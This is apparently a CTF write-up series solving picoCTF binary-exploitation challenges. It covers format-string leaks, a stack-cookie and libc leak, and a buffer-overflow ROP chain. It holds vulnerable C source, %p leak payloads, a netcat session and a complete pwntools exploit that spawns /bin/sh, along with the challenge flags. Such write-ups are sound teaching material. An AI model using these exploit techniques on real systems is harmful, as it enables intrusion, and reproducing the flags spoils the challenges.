FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE, f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
serve_patrick();
return 0;
}
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1);
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
int count = printf(choice1);
if (count > 2 * BUFSIZE) {
serve_bob();
} else {
printf("%s\n%s\n",
"Patrick is still hungry!",
"Try to serve him something of larger size!");
fflush(stdout);
}
}
}
void serve_bob() {
printf("\n%s %s\n%s %s\n%s %s\n%s",
"Good job! Patrick is happy!",
"Now can you serve the second customer?",
"Sponge Bob wants something outrageous that would break the shop",
"(better be served quick before the shop owner kicks you out!)",
"Please choose from the following burgers:",
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
"Enter your recommendation: ");
fflush(stdout);
char choice2[BUFSIZE];
scanf("%s", choice2);
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
printf(choice2);
fflush(stdout);
}
}
The checksec result for the binary file is the following:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Looking at the source code, we need to trigger signal(SIGSEGV, sigsegv_handler);
to print the flag.
While running the program, we first get into the serve_patrick()
function. To make it keep running and get into serve_bob()
, the only available option is to provide the Gr%114d_Cheese
option. We then get into serve_bob()
When inside serve_bob()
, there is a similar menu. Whatever we pick will be printed at our screen using printf
. That means that the format inside the strings will be used by the printf
function, causing a format string vulnerability. If we try the Pe%to_Portobello option, this will happen:
Enter your recommendation: Pe%to_Portobello
Pe20021560_Portobello
It is reading from somewhere and printing these numbers for us. What if we choose the Cla%sic_Che%s%steak
option?
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6}
What happened here is that a %s
is provided on the input, but printf
doesn’t have arguments on it. printf
will then start using arguments from memory. We are probably trying to access an invalid address to get a string, thus causing the error on the program and printing the flag.
flag: picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6}
Here is the source code:
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
Here is the checksec result:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We have a format string vulnerability here:
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
We control what will be given to the printf
function. As we don’t know the size of secret-menu-item-1.txt
or secret-menu-item-2.txt
, it can be quite tricky to know where in memory the flag.txt
string is. So I just decided to put a bunch of %p
and see what I get
Give me your order and I'll read it back to you:
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,
Here's your order: 0x402118,(nil),0x760c1fa2da00,(nil),0x11a1880,0xa347834,0x7ffcaa973f50,0x760c1f81ee60,0x760c1fa434d0,0x1,0x7ffcaa974020,(nil),(nil),0x7b4654436f636970,0x355f31346d316e34,0x3478345f33317937,0x30355f673431665f,0x7d343663363933,0x7,0x760c1fa458d8,0x2300000007,0x206e693374307250,0xa336c797453,0x9,0x760c1fa56de9,0x760c1f827098,0x760c1fa434d0,(nil),0x7ffcaa974030,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,
Starting from the 14th pointer, there is the string. We can check it by doing:
>>> int.to_bytes(0x7b4654436f636970, 8, 'little')
b'picoCTF{'
If we do the same with the next values, we get the flag.
flag: picoCTF{4n1m41_57y13_4x4_f14g_50396c64}
Here is the source code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4
typedef struct Stonks {
int shares;
char symbol[MAX_SYM_LEN + 1];
struct Stonks *next;
} Stonk;
typedef struct Portfolios {
int money;
Stonk *head;
} Portfolio;
int view_portfolio(Portfolio *p) {
if (!p) {
return 1;
}
printf("\nPortfolio as of ");
fflush(stdout);
system("date"); // TODO: implement this in C
fflush(stdout);
printf("\n\n");
Stonk *head = p->head;
if (!head) {
printf("You don't own any stonks!\n");
}
while (head) {
printf("%d shares of %s\n", head->shares, head->symbol);
head = head->next;
}
return 0;
}
Stonk *pick_symbol_with_AI(int shares) {
if (shares < 1) {
return NULL;
}
Stonk *stonk = malloc(sizeof(Stonk));
stonk->shares = shares;
int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
for (int i = 0; i <= MAX_SYM_LEN; i++) {
if (i < AI_symbol_len) {
stonk->symbol[i] = 'A' + (rand() % 26);
} else {
stonk->symbol[i] = '\0';
}
}
stonk->next = NULL;
return stonk;
}
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
int money = p->money;
int shares = 0;
Stonk *temp = NULL;
printf("Using patented AI algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_AI(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("Stonks chosen\n");
// TODO: Figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Portfolio *initialize_portfolio() {
Portfolio *p = malloc(sizeof(Portfolio));
p->money = (rand() % 2018) + 1;
p->head = NULL;
return p;
}
void free_portfolio(Portfolio *p) {
Stonk *current = p->head;
Stonk *next = NULL;
while (current) {
next = current->next;
free(current);
current = next;
}
free(p);
}
int main(int argc, char *argv[])
{
setbuf(stdout, NULL);
srand(time(NULL));
Portfolio *p = initialize_portfolio();
if (!p) {
printf("Memory failure\n");
exit(1);
}
int resp = 0;
printf("Welcome back to the trading app!\n\n");
printf("What would you like to do?\n");
printf("1) Buy some stonks!\n");
printf("2) View my portfolio\n");
scanf("%d", &resp);
if (resp == 1) {
buy_stonks(p);
} else if (resp == 2) {
view_portfolio(p);
}
free_portfolio(p);
printf("Goodbye!\n");
exit(0);
}
We are not provided with any binary file.
This is another format string challenge. Take a look at these lines of code on the buy_stonks
function:
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
We need to know where the contents of api
are. I, again, just put a bunch of %p
and see what happens:
nc mercury.picoctf.net 27912
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,
Buying stonks with token:
0x8a3b450,0x804b000,0x80489c3,0xf7f60d80,0xffffffff,0x1,0x8a39160,0xf7f6e110,0xf7f60dc7,(nil),0x8a3a180,0x1,0x8a3b430,0x8a3b450,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x32666331,0x30613130,0xffda007d,0xf7f9baf8,0xf7f6e440,0xf8bb5a00,0x1,(nil),0xf7dfdce9,
Portfolio as of Fri Aug 2 05:05:33 UTC 2024
1 shares of SXD
1 shares of NJF
1 shares of CN
4 shares of HXQ
3 shares of UR
81 shares of ONKL
188 shares of F
451 shares of G
327 shares of ANLB
175 shares of U
189 shares of K
Goodbye!
I created a python script to look at all the values and generate a solution:
output = '0x8a3b450,0x804b000,0x80489c3,0xf7f60d80,0xffffffff,0x1,0x8a39160,0xf7f6e110,0xf7f60dc7,(nil),0x8a3a180,0x1,0x8a3b430,0x8a3b450,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x32666331,0x30613130,0xffda007d,0xf7f9baf8,0xf7f6e440,0xf8bb5a00,0x1,(nil),0xf7dfdce9'
output = output.split(',')
decoded = ''
for _ in range(len(output)):
output[_] = output[_].encode()
try:
decoded += int.to_bytes(int(output[_], 16), 8, 'big').decode()[::-1]
except (UnicodeDecodeError, ValueError):
continue
print(decoded)
flag: picoCTF{I_l05t_4ll_my_m0n3y_1cf201a0}
DISCLAIMER: I didn’t solve this challenge during the CTF.
Let’s get started :)
The challenge provides us a zip file. By unzipping it, we get a libc, a ld, an executable file and a source code file. Let’s take a look at the source code:
#include <stdio.h>
#include <string.h>
int upkeep() {
// IGNORE THIS
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int admin() {
int choice = 0;
char report[64];
puts("\nWelcome to the administrator panel!\n");
puts("Here are your options:");
puts("1. Display current status report");
puts("2. Submit error report");
puts("3: Perform cloning (currently disabled)\n");
puts("Enter either 1, 2 or 3: ");
scanf("%d", &choice);
printf("You picked: %d\n\n", choice);
if (choice==1) {
puts("Status report: \n");
puts("\tAdministrator panel functioning as expected.");
puts("\tSome people have told me that my code is insecure, but");
puts("\tfortunately, the panel has many standard security measures implemented");
puts("\tto make up for that fact.\n");
puts("\tCurrently working on implementing cloning functionality,");
puts("\tthough it may be somewhat difficult (I am not a competent programmer).");
}
else if (choice==2) {
puts("Enter information on what went wrong:");
scanf("%128s", report);
puts("Report submitted!");
}
else if (choice==3) {
// NOTE: Too dangerous in the wrong hands, very spooky indeed
puts("Sorry, this functionality has not been thoroughly tested yet! Try again later.");
return 0;
clone();
}
else {
puts("Invalid option!");
}
}
int main() {
upkeep();
char username[16];
char password[24];
char status[24] = "Login Successful!\n";
puts("Secure Login:");
puts("Enter username of length 16:");
scanf("%16s", username);
puts("Enter password of length 24:");
scanf("%44s", password);
printf("Username entered: %s\n", username);
if (strncmp(username, "admin", 5) != 0 || strncmp(password, "secretpass123", 13) != 0) {
strcpy(status, "Login failed!\n");
printf(status);
printf("\nAccess denied to admin panel.\n");
printf("Exiting...\n");
return 0;
}
printf(status);
admin();
printf("\nExiting...\n");
}
Here is the checksec result for the binary file:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Everything is enabled!
I used pwninit to generate a patched file that uses the provided libc
and ld
. You can check it out here: pwninit
By looking at the source code, there are some sketchy things happening…
password
is a buffer of size 24, but we are writing 45 bytes into it (scanf("%44s", password);
)printf(status);
, which could potentially become a format string vulnerabilityreport
is a buffer of size 64, but we are writing 129 bytes into it (scanf("%128s", report);
)To run the admin
function we need a username
with admin
and a password
with secretpass123
. So for the username
I provided the input admin
. But the password
is a buffer of size 24 and we can write more things into it. In fact, we can actually overwrite the contents of status
, which is declared immediately after password
!
As status
get used inside the printf
, we actually have a format string vulnerability. We need to fill the password
buffer + the space in between password
and status
and then start writing into status
.
To calculate the index passed on the format string, we can take a look at gdb. Let’s insert a breakpoint right before the vulnerable printf
and take a look at the stack:
The stack cookie (right before the rbp
) is at position 10 if we start counting from the top of the stack. printf
will start printing the registers to then print the stack. That means we need to add 5 to this counting (resulting in 15). It is important to know the stack cookie as we have a buffer overflow inside the admin
function.
It is important to notice that we also have ASLR and PIE enabled, so it would be good having a address leak. Luckily, we can still write more stuff on the password input. Let’s look again at the stack and see if we can leak something:
There is an address right after the rbp
. It is a return address to somewhere. Let’s find out where this takes us by running vmmap
.
Our address is 0x00007ffff7e3109b
, and as we can see that is inside libc
. So we can leak a libc address. As the stack cookie position is 15 and it is 2 positions before the return address, the libc address position will be 17 when we explore the format string vulnerability.
So far we have:
p = process("./admin-panel_patched")
p.recvline()
p.recvline()
p.sendline(b"admin")
p.recvline()
p.sendline(b'secretpass123aaaaaaaaaaaaaaaaaaa%15$p,%17$p')
p.recvline()
That should print out the stack cookie and the libc address. Let’s get these values and print them out on the solution:
leak_addr = p.recvline().decode()[:-1].split(',')
stack_cookie = int(leak_addr[0], 16)
libc_leak = int(leak_addr[1], 16)
print(f"stack cookie is: {hex(stack_cookie)}")
print(f"leaked address is: {hex(libc_leak)}")
Nice! The stack cookie and leaked address are saved. The program is now inside the admin()
function. Let’s try exploring the buffer overflow by choosing choice 2. There is a 129 byte writing into the 64 bytes size report
variable. If we make a test, it is possible to verify that we indeed can overwrite the return address (and consequently the stack cookie ;;)
Let’s open it on gdb and insert a breakpoint before the stack cookie check (__stack_chk_fail@plt
). I am putting the breakpoint at the mov rdx, QWORD PTR [rbp-0x8]
instruction. Let’s also use the command pattern create
to generate a pattern for our input and see where things go wrong.
This is what I can see inside the rdx
register:
$rdx : 0x616161616161616a ("jaaaaaaa"?)
(we could also just check the value of rbp-0x8
by doing the command x/gx $rbp-0x8
)
Checking the offset position:
gef➤ pattern offset 0x616161616161616a
[+] Searching for '6a61616161616161'/'616161616161616a' with period=8
[+] Found at offset 72 (little-endian search) likely
That means we need to use the 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa'
part of the pattern to reach the stack cookie. After that we write the stack cookie that was retrieved using the format string vulnerability and write anything into the rbp
, it doesn’t matter. After all of that we can finally write into the return address without problems.
But to where do we return to?
We don’t have any interesting function in our program that could execute stuff for us. What we do have, however, is a libc address on the return address. As we have PIE and ASLR enabled, this address will be randomized everytime but will always be the same instruction. On this case, we just need to calculate the offset of the instruction being executed considering the entrypoint as a reference. Let’s use gdb to achieve that
The highlighted address is the return address. Let’s see to where this takes us
It takes us to __libc_start_main+235
. Now we need to check what is the offset of this instruction when the program is not running. So you can open the libc file inside of gdb. I opened it, disassembled __libc_start_main
and started looking for the specific instruction __libc_start_main+235
.
There it is :) It is on the address 0x000000000002409b
, so it is on the offset 0x2409b
after the entrypoint of libc. We can now use the previously leaked libc address and subtract 0x2409b
out of it to find the entrypoint address of libc even when the program is running!
This is the calculation:
libc_start_main_offset = 0x000000000002409b
libc_entrypoint = libc_leak - libc_start_main_offset
Now we can choose any address of libc to jump to. Let’s see if we have can execute the system function and pass the argument /bin/sh
to get a shell.
Looking for the system
offset inside the libc:
system
is at offset 0x44af0
. Let’s save it
system_offset = 0x44af0
"/bin/sh"
is at offset 18052c
bin_sh_offset = 0x18052c
So we know the address of system and the address of the string “/bin/sh”. However, we need to put the string “/bin/sh” into the register rdi
when calling for the system
function. We can achieve that using ROP. Let’s look for some gadgets using ROPgadget
The command is: ROPgadget --binary libc.so.6 --ropchain | grep "pop rdi"
[+] Gadget found: 0x23a5f pop rdi ; ret
Let’s also save it:
pop_rdi_ret_offset = 0x23a5f
Nice! That’s everything we need :)
In conclusion, we are filling the entire report
buffer, overwriting the stack cookie, putting anything into the rbp
register, overwriting the return address with the pop rdi ; ret
instruction to put the "/bin/sh"
string into the rdi
register, putting the "/bin/sh"
address (the libc entrypoint + the offset we found) right after it so that pop rdi
works fine, and then putting the system
address (the libc entrypoint + the address we found) after it so that ret
returns to it :)
This is my solution for this challenge:
from pwn import *
libc_start_main_offset = 0x000000000002409b
pop_rdi_ret_offset = 0x23a5f
system_offset = 0x44af0
bin_sh_offset = 0x18052c
p = process("./admin-panel_patched")
p.recvline()
p.recvline()
p.sendline(b"admin")
p.recvline()
p.sendline(b'secretpass123aaaaaaaaaaaaaaaaaaa%15$p,%17$p')
p.recvline()
leak_addr = p.recvline().decode()[:-1].split(',')
stack_cookie = int(leak_addr[0], 16)
libc_leak = int(leak_addr[1], 16)
print(f"stack cookie is: {hex(stack_cookie)}")
print(f"leaked address is: {hex(libc_leak)}")
libc_entrypoint = libc_leak - libc_start_main_offset
pop_rdi_ret = libc_entrypoint + pop_rdi_ret_offset
payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa'
payload += p64(stack_cookie)
payload += p64(0xdeadbeef)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_offset + libc_entrypoint)
payload += p64(system_offset + libc_entrypoint)
p.recvuntil(b'2 or 3:')
p.sendline(b'2')
p.recvuntil(b'wrong:')
p.sendline(payload)
p.interactive()
That’s it. I hope you liked it :)